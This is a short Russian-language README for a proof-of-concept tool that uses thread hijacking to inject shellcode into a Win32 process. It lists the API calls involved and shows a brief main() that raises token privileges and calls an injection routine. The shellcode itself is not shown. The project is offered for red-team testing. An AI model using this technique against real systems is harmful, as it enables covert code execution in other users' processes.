
PoC: Угон выполнения потоков для внедрения кода в Win32
Программа использует Thread Hijacking для внедрения нативного шеллкода в стандартное Win32 приложение. Мне было 15 лет, когда я это сделал – пожалуйста, игнорируйте некачественный код.
Я разработал этот небольшой проект для продолжения моего опыта с различными методами внедрения кода и чтобы предоставить специалистам по безопасности RedTeam возможность использовать этот метод как уникальный способ проведения тестирования на проникновение программного обеспечения. С помощью Thread Hijacking программа hijacker.exe может приостановить поток внутри программы target.exe, позволяя нам записать шеллкод в этот целевой поток и позже выполнить его (через WriteProcessMemory(), SetThreadContext(), ResumeThread(), CreateThread()).

int main()
{
System sys;
Interceptor incp;
Exception exp;
sys.returnVersionState();
if (sys.returnPrivilegeEscalationState())
{
std::cout << "Token Privileges Adjusted\n";
}
if (DWORD m_procId = incp.FindWin32ProcessId((PCHAR)m_win32ProcessName))
{
incp.ExecuteWin32Shellcode(m_procId);
}
system("PAUSE");
return 0;
}
https://capec.mitre.org/data/definitions/30.html